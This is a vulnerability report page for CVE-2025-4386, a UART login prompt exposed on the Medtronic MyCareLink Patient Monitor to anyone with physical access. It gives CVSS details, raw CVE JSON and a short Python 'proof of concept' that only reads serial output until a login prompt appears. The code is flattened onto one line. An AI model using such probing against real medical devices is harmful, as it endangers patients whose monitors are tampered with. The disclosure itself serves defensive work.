Security Vulnerability Report
中文
CVE-2025-4386 CVSS 6.8 MEDIUM

CVE-2025-4386

Published: 2026-05-07 16:16:17
Last Modified: 2026-05-07 18:46:48

Description

Medtronic MyCareLink Patient Monitor has an internal serial interface, which allows an attacker with physical access to access a login prompt via a UART terminal.​

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Medtronic MyCareLink Patient Monitor (具体受影响版本请参考厂商安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import serial import time # This is a generic PoC for UART access # Connect a TTL-USB adapter to the internal UART interface # Usually requires identifying TX, RX, and GND pins def connect_uart(port='/dev/ttyUSB0', baudrate=115200): try: ser = serial.Serial(port, baudrate, timeout=1) print(f"Connected to {port} at {baudrate} baud.") # Wait for boot or prompt time.sleep(2) while True: if ser.in_waiting > 0: line = ser.readline().decode('utf-8').strip() print(f"<Output> {line}") # Check for login prompt if 'login:' in line.lower(): print("[!] Login prompt detected. Vulnerability confirmed.") break except Exception as e: print(f"Error: {e}") finally: ser.close() if __name__ == "__main__": # Usage: python poc.py connect_uart()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-4386", "sourceIdentifier": "[email protected]", "published": "2026-05-07T16:16:17.287", "lastModified": "2026-05-07T18:46:47.697", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Medtronic MyCareLink Patient Monitor has an internal serial interface, which allows an attacker with physical access to access a login prompt via a UART terminal.​"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1263"}]}], "references": [{"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-205-01", "source": "[email protected]"}, {"url": "https://www.medtronic.com/en-us/e/product-security/security-bulletins/mycarelink-patient-monitor-vulnerabilities.html", "source": "[email protected]"}]}}